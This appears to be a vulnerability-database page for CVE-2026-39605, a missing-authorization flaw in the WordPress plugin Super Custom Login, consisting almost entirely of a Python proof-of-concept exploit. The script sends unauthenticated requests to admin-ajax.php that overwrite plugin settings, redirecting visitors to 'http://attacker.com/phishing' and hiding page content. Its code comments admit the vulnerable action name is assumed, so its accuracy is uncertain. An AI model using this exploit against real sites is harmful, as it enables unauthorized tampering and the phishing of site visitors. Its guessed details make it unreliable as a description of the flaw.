CVE-2026-39605 Super Custom Login授权缺失漏洞

import requests def exploit_missing_auth(target_url): """ PoC for CVE-2026-39605: Missing Authorization in Super Custom Login <= 1.1 This script attempts to update plugin settings without authentication. """ # The vulnerable endpoint is often an AJAX action or a direct admin-post hook # Assuming the vulnerable action is 'update_super_custom_settings' endpoint = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'update_super_custom_settings', 'redirect_url': 'http://attacker.com/phishing', 'custom_css': 'body { display: none; }' } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Potential exploitation successful. Check settings.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example-wordpress-site.com" exploit_missing_auth(target)